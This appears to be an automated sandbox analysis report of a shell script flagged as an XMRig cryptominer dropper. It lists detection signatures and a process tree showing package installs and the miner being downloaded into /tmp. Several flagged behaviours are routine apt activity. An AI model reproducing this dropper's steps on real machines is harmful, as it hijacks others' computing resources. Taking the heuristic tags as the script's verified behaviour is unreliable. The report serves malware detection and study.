xmrig | 89679500c0767e7a2c56ac75e5e853e77807660e842f3aae7bc855c30c534aa5

Resubmissions

28/03/2025, 06:27

250328-g7715ssxfz 10

28/03/2025, 06:21

250328-g4j5xasxdx 10

Analysis

max time kernel
31s
max time network
31s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/03/2025, 06:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ubuntu.sh
Size

748B
MD5

229c643e9b0c79281884b70efba08109
SHA1

442e01e0af2650eb9419d443b19ab40779171d74
SHA256

89679500c0767e7a2c56ac75e5e853e77807660e842f3aae7bc855c30c534aa5
SHA512

88742f501ddb450ad04f09b3a16418d9fe9a541792c7bf68f0db63431e2e5d2c2132e45d60f807792625facad074feb351a015f98dc690833aff14eb2e993559

Score

10^/10

xmrig xmrig_linux antivm credential_access defense_evasion discovery execution miner persistence privilege_escalation

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral9/files/fstream-86.dat	family_xmrig
behavioral9/files/fstream-86.dat	xmrig

Xmrig family
xmrig
Xmrig_linux family
xmrig_linux
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	dpkg-preconfigure

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 2 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
639	sudo
914	sudo

Deletes log files 1 TTPs 1 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/apt/eipp.log.xz	apt

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/sbin/rmt-tar.dpkg-new	dpkg
File opened for modification	/usr/sbin/tarcat.dpkg-new	dpkg

Writes file to system bin folder 1 IoCs

description	ioc	Process
File opened for modification	/bin/tar.dpkg-new	dpkg

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	https
File opened for reading	/proc/cpuinfo	gpgv
File opened for reading	/proc/cpuinfo	gpgconf
File opened for reading	/proc/cpuinfo	gpg-connect-agent
File opened for reading	/proc/cpuinfo	gpgconf
File opened for reading	/proc/cpuinfo	gpg-connect-agent
File opened for reading	/proc/cpuinfo	gpgv
File opened for reading	/proc/cpuinfo	gpgconf
File opened for reading	/proc/cpuinfo	gpgv
File opened for reading	/proc/cpuinfo	gpg-connect-agent

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	exim4

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/sys/kernel/ngroups_max	sendmail
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/crypto/fips_enabled	https
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/crypto/fips_enabled	gpgv
File opened for reading	/proc/sys/crypto/fips_enabled	gpgconf
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/sys/crypto/fips_enabled	gpgconf
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/kernel/ngroups_max	sudo
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	sudo
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt
File opened for reading	/proc/self/fd	gpgv
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/self/auxv	gpgv
File opened for reading	/proc/sys/crypto/fips_enabled	gpg-connect-agent
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/sys/kernel/ngroups_max	sendmail
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/fd	gpgconf
File opened for reading	/proc/filesystems	sudo
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/auxv	gpg-connect-agent
File opened for reading	/proc/self/stat	sudo
File opened for reading	/proc/sys/kernel/ngroups_max	apt
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/sys/crypto/fips_enabled	gpgv
File opened for reading	/proc/self/fd	apt
File opened for reading	/proc/self/fd	apt-config
File opened for reading	/proc/self/auxv	gpgconf

Writes file to tmp directory 38 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/apt.conf.JiULYG	gpgv
File opened for modification	/tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.gpg	apt-key
File opened for modification	/tmp/apt.conf.eywo4j	gpgv
File opened for modification	/tmp/apt.sig.67nmCx	gpgv
File opened for modification	/tmp/apt-key-gpghome.TNHvYPqHGh/gpg.1.sh	apt-key
File opened for modification	/tmp/fileutl.message.cIWNLl	apt
File opened for modification	/tmp/xmrig/xmrig-6.22.2/config.json	tar
File opened for modification	/tmp/xmrig/xmrig-6.22.2/xmrig	tar
File opened for modification	/tmp/fileutl.message.tti1Ac	apt
File opened for modification	/tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.gpg	touch
File opened for modification	/tmp/fileutl.message.HOBWan	apt
File opened for modification	/tmp/fileutl.message.4ipenF	apt
File opened for modification	/tmp/fileutl.message.P0eLeD	apt
File opened for modification	/tmp/apt.sig.8tYXLb	gpgv
File opened for modification	/tmp/apt-key-gpghome.1tILK8sQxW/pubring.gpg	touch
File opened for modification	/tmp/apt-key-gpghome.1tILK8sQxW/pubring.gpg	apt-key
File opened for modification	/tmp/fileutl.message.I8e04J	apt
File opened for modification	/tmp/fileutl.message.g609Yy	apt
File opened for modification	/tmp/apt.data.lXMBMG	gpgv
File opened for modification	/tmp/apt-key-gpghome.1tILK8sQxW/gpg.1.sh	apt-key
File opened for modification	/tmp/fileutl.message.OzhBSd	apt
File opened for modification	/tmp/apt.conf.k9UbHr	gpgv
File opened for modification	/tmp/xmrig-6.22.2-linux-static-x64.tar.gz	wget
File opened for modification	/tmp/fileutl.message.5jItBn	apt
File opened for modification	/tmp/fileutl.message.ZJrT0i	apt
File opened for modification	/tmp/apt.data.ofGy9K	gpgv
File opened for modification	/tmp/fileutl.message.DjaFvG	apt
File opened for modification	/tmp/fileutl.message.F4ssTb	apt
File opened for modification	/tmp/fileutl.message.IGpD61	apt
File opened for modification	/tmp/fileutl.message.3uzar9	apt
File opened for modification	/tmp/apt-key-gpghome.1tILK8sQxW/pubring.orig.gpg	cp
File opened for modification	/tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.orig.gpg	cp
File opened for modification	/tmp/fileutl.message.VPMSD7	apt
File opened for modification	/tmp/fileutl.message.I9rcvQ	apt
File opened for modification	/tmp/fileutl.message.EF3joJ	apt
File opened for modification	/tmp/xmrig/xmrig-6.22.2/SHA256SUMS	tar
File opened for modification	/tmp/apt-key-gpghome.5w0MeL7J8Z/gpg.1.sh	apt-key
File opened for modification	/tmp/fileutl.message.GKyufh	apt

Software Deployment Tools 1 TTPs 3 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
950	dpkg-split
962	dpkg
965	dpkg

/tmp/ubuntu.sh
/tmp/ubuntu.sh bcdedit /c set shutdown /r readonly /f force /t 2
1⤵
PID:637
- /usr/bin/sudo
  sudo apt update
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  - Reads runtime system information
  PID:639
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    - Reads runtime system information
    PID:653
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1ty2GP-0000AX-5K
      4⤵
      Reads CPU attributes
      PID:671
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    - Reads runtime system information
    PID:656
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1ty2GP-0000Aa-6K
      4⤵
      Reads CPU attributes
      PID:672
- - /usr/bin/apt
    apt update
    3⤵
    - Reads runtime system information
    - Writes file to tmp directory
    PID:659
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:666
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      PID:673
  - - /usr/lib/apt/methods/https
      /usr/lib/apt/methods/https
      4⤵
      PID:674
  - - /usr/lib/apt/methods/https
      /usr/lib/apt/methods/https
      4⤵
      Checks CPU configuration
      Reads runtime system information
      PID:678
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      PID:680
  - - /usr/lib/apt/methods/gpgv
      /usr/lib/apt/methods/gpgv
      4⤵
      PID:686
  - - /usr/lib/apt/methods/gpgv
      /usr/lib/apt/methods/gpgv
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:687
    - - /usr/bin/apt-key
        
        /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /tmp/apt.sig.8tYXLb /tmp/apt.data.lXMBMG
        5⤵
        Writes file to tmp directory
        
        PID:689
      - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        6⤵
        Reads runtime system information
        
        PID:691
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:692
      - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        6⤵
        Reads runtime system information
        
        PID:693
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:694
      - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        6⤵
        Reads runtime system information
        
        PID:695
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:696
      - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        6⤵
        
        PID:697
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:700
      - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring
        6⤵
        
        PID:702
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:704
      - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f
        6⤵
        Reads runtime system information
        
        PID:707
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:709
      - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        6⤵
        Reads runtime system information
        
        PID:713
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:715
      - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        6⤵
        
        PID:717
      - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.1tILK8sQxW
        6⤵
        
        PID:718
      - /bin/readlink
        
        readlink -f /tmp/apt-key-gpghome.1tILK8sQxW
        6⤵
        
        PID:719
      - /bin/rm
        
        rm -f /tmp/apt-key-gpghome.1tILK8sQxW/pubring.gpg
        6⤵
        
        PID:720
      - /usr/bin/touch
        
        touch /tmp/apt-key-gpghome.1tILK8sQxW/pubring.gpg
        6⤵
        Writes file to tmp directory
        
        PID:722
      - /usr/bin/apt-config
        
        apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d
        6⤵
        Reads runtime system information
        
        PID:723
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:725
      - /bin/readlink
        
        readlink -f /etc/apt/trusted.gpg.d/
        6⤵
        
        PID:727
      - /usr/bin/find
        
        find /etc/apt/trusted.gpg.d -mindepth 1 -maxdepth 1 "(" -name "*.gpg" -o -name "*.asc" ")"
        6⤵
        Reads runtime system information
        
        PID:728
      - /usr/bin/sort
        
        sort
        6⤵
        
        PID:732
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
        6⤵
        
        PID:734
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
        6⤵
        
        PID:737
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
        6⤵
        
        PID:740
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
        6⤵
        
        PID:742
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
        6⤵
        
        PID:744
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
        6⤵
        
        PID:747
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
        6⤵
        
        PID:750
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
        6⤵
        
        PID:752
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
        6⤵
        
        PID:755
      - /bin/cp
        
        cp -a /tmp/apt-key-gpghome.1tILK8sQxW/pubring.gpg /tmp/apt-key-gpghome.1tILK8sQxW/pubring.orig.gpg
        6⤵
        Writes file to tmp directory
        
        PID:757
      - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        6⤵
        
        PID:760
      - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        6⤵
        
        PID:763
      - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.1tILK8sQxW --keyring /tmp/apt-key-gpghome.1tILK8sQxW/pubring.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.8tYXLb /tmp/apt.data.lXMBMG
        6⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:765
      - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        6⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:771
        
        /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        7⤵
        Checks CPU configuration
        
        PID:772
      - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.1tILK8sQxW
        6⤵
        
        PID:774
    - - /usr/bin/apt-key
        
        /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release.gpg /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release
        5⤵
        Writes file to tmp directory
        
        PID:778
      - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        6⤵
        Reads runtime system information
        
        PID:780
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:784
      - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        6⤵
        Reads runtime system information
        
        PID:785
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:790
      - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        6⤵
        Reads runtime system information
        
        PID:793
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:795
      - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        6⤵
        Reads runtime system information
        
        PID:797
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:800
      - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Apt::GPGV::TrustedKeyring
        6⤵
        
        PID:802
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:804
      - /usr/bin/apt-config
        
        apt-config shell TRUSTEDFILE Dir::Etc::Trusted/f
        6⤵
        
        PID:805
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:807
      - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        6⤵
        Reads runtime system information
        
        PID:809
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:810
      - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        6⤵
        
        PID:811
      - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.5w0MeL7J8Z
        6⤵
        
        PID:812
      - /bin/readlink
        
        readlink -f /tmp/apt-key-gpghome.5w0MeL7J8Z
        6⤵
        
        PID:813
      - /bin/rm
        
        rm -f /tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.gpg
        6⤵
        
        PID:814
      - /usr/bin/touch
        
        touch /tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.gpg
        6⤵
        Writes file to tmp directory
        
        PID:815
      - /usr/bin/apt-config
        
        apt-config shell TRUSTEDPARTS Dir::Etc::TrustedParts/d
        6⤵
        Reads runtime system information
        
        PID:816
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:817
      - /bin/readlink
        
        readlink -f /etc/apt/trusted.gpg.d/
        6⤵
        
        PID:818
      - /usr/bin/find
        
        find /etc/apt/trusted.gpg.d -mindepth 1 -maxdepth 1 "(" -name "*.gpg" -o -name "*.asc" ")"
        6⤵
        Reads runtime system information
        
        PID:819
      - /usr/bin/sort
        
        sort
        6⤵
        
        PID:822
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
        6⤵
        
        PID:824
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
        6⤵
        
        PID:826
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
        6⤵
        
        PID:828
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-automatic.gpg
        6⤵
        
        PID:830
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-security-automatic.gpg
        6⤵
        
        PID:832
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-jessie-stable.gpg
        6⤵
        
        PID:834
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
        6⤵
        
        PID:836
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
        6⤵
        
        PID:838
      - /bin/cat
        
        cat /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
        6⤵
        
        PID:841
      - /bin/cp
        
        cp -a /tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.gpg /tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.orig.gpg
        6⤵
        Writes file to tmp directory
        
        PID:843
      - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        6⤵
        Reads runtime system information
        
        PID:847
      - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        6⤵
        
        PID:851
      - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.5w0MeL7J8Z --keyring /tmp/apt-key-gpghome.5w0MeL7J8Z/pubring.gpg --ignore-time-conflict --status-fd 3 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release.gpg /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_Release
        6⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:853
      - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        6⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:859
        
        /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        7⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:860
      - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.5w0MeL7J8Z
        6⤵
        
        PID:862
    - - /usr/bin/apt-key
        
        /usr/bin/apt-key --quiet --readonly --keyring /etc/apt/keyrings/nodesource.gpg verify --status-fd 3 /tmp/apt.sig.67nmCx /tmp/apt.data.ofGy9K
        5⤵
        Writes file to tmp directory
        
        PID:866
      - /usr/bin/apt-config
        
        apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
        6⤵
        
        PID:868
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:872
      - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
        6⤵
        
        PID:873
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:876
      - /usr/bin/apt-config
        
        apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
        6⤵
        
        PID:877
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:880
      - /usr/bin/apt-config
        
        apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
        6⤵
        Reads runtime system information
        
        PID:881
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        Reads runtime system information
        
        PID:884
      - /usr/bin/apt-config
        
        apt-config shell GPGV Apt::Key::gpgvcommand
        6⤵
        Reads runtime system information
        
        PID:887
        
        /usr/bin/dpkg
        
        /usr/bin/dpkg --print-foreign-architectures
        7⤵
        
        PID:890
      - /bin/mktemp
        
        mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
        6⤵
        
        PID:892
      - /bin/chmod
        
        chmod 700 /tmp/apt-key-gpghome.TNHvYPqHGh
        6⤵
        
        PID:893
      - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        6⤵
        Reads runtime system information
        
        PID:897
      - /bin/sed
        
        sed -e "s#'#'\"'\"'#g"
        6⤵
        Reads runtime system information
        
        PID:901
      - /usr/bin/gpgv
        
        gpgv --homedir /tmp/apt-key-gpghome.TNHvYPqHGh --keyring /etc/apt/keyrings/nodesource.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.67nmCx /tmp/apt.data.ofGy9K
        6⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:904
      - /usr/bin/gpgconf
        
        gpgconf --kill gpg-agent
        6⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:905
        
        /usr/bin/gpg-connect-agent
        
        gpg-connect-agent --no-autostart KILLAGENT
        7⤵
        Checks CPU configuration
        Reads runtime system information
        
        PID:906
      - /bin/rm
        
        rm -rf /tmp/apt-key-gpghome.TNHvYPqHGh
        6⤵
        
        PID:908
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:910
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      Reads runtime system information
      PID:913
- /usr/bin/sudo
  sudo apt install -y wget tar
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  - Reads runtime system information
  PID:914
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:917
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1ty2Gi-0000En-GC
      4⤵
      Reads CPU attributes
      PID:923
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:920
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1ty2Gi-0000Eq-H9
      4⤵
      Reads CPU attributes
      PID:924
- - /usr/bin/apt
    apt install -y wget tar
    3⤵
    - Deletes log files
    - Reads runtime system information
    - Writes file to tmp directory
    PID:921
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:922
  - - /usr/bin/dpkg
      /usr/bin/dpkg --print-foreign-architectures
      4⤵
      PID:925
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      PID:930
  - - /usr/lib/apt/methods/http
      /usr/lib/apt/methods/http
      4⤵
      PID:931
  - - /bin/sh
      /bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"
      4⤵
      PID:932
    - - /usr/sbin/dpkg-preconfigure
        
        /usr/sbin/dpkg-preconfigure --apt
        5⤵
        OS Credential Dumping
        
        PID:933
      - /usr/local/sbin/locale
        
        locale charmap
        6⤵
        
        PID:934
      - /usr/local/bin/locale
        
        locale charmap
        6⤵
        
        PID:934
      - /usr/sbin/locale
        
        locale charmap
        6⤵
        
        PID:934
      - /usr/bin/locale
        
        locale charmap
        6⤵
        
        PID:934
      - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        6⤵
        
        PID:935
        
        /bin/stty
        
        stty -a
        7⤵
        
        PID:936
      - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        6⤵
        
        PID:937
        
        /bin/stty
        
        stty -a
        7⤵
        
        PID:938
      - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        6⤵
        
        PID:939
        
        /bin/stty
        
        stty -a
        7⤵
        
        PID:940
      - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        6⤵
        
        PID:942
        
        /bin/stty
        
        stty -a
        7⤵
        
        PID:943
      - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        6⤵
        
        PID:944
        
        /bin/stty
        
        stty -a
        7⤵
        
        PID:945
      - /bin/sh
        
        sh -c "stty -a 2>/dev/null"
        6⤵
        
        PID:946
        
        /bin/stty
        
        stty -a
        7⤵
        
        PID:947
  - - /usr/bin/dpkg
      /usr/bin/dpkg --assert-multi-arch
      4⤵
      PID:948
  - - /usr/bin/dpkg
      /usr/bin/dpkg --status-fd 16 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb
      4⤵
      Write file to user bin folder
      Writes file to system bin folder
      Reads runtime system information
      PID:949
    - - /usr/local/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb
        5⤵
        
        PID:950
    - - /usr/local/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb
        5⤵
        
        PID:950
    - - /usr/sbin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb
        5⤵
        
        PID:950
    - - /usr/bin/dpkg-split
        
        dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb
        5⤵
        Software Deployment Tools
        
        PID:950
    - - /usr/local/sbin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:951
    - - /usr/local/bin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:951
    - - /usr/sbin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:951
    - - /usr/bin/dpkg-deb
        
        dpkg-deb --control /var/cache/apt/archives/tar_1.29b-1.1+deb9u1_armhf.deb /var/lib/dpkg/tmp.ci
        5⤵
        
        PID:951
      - /usr/local/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:954
      - /usr/local/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:954
      - /usr/sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:954
      - /usr/bin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:954
      - /sbin/tar
        
        tar -x -f - "--warning=no-timestamp"
        6⤵
        
        PID:954
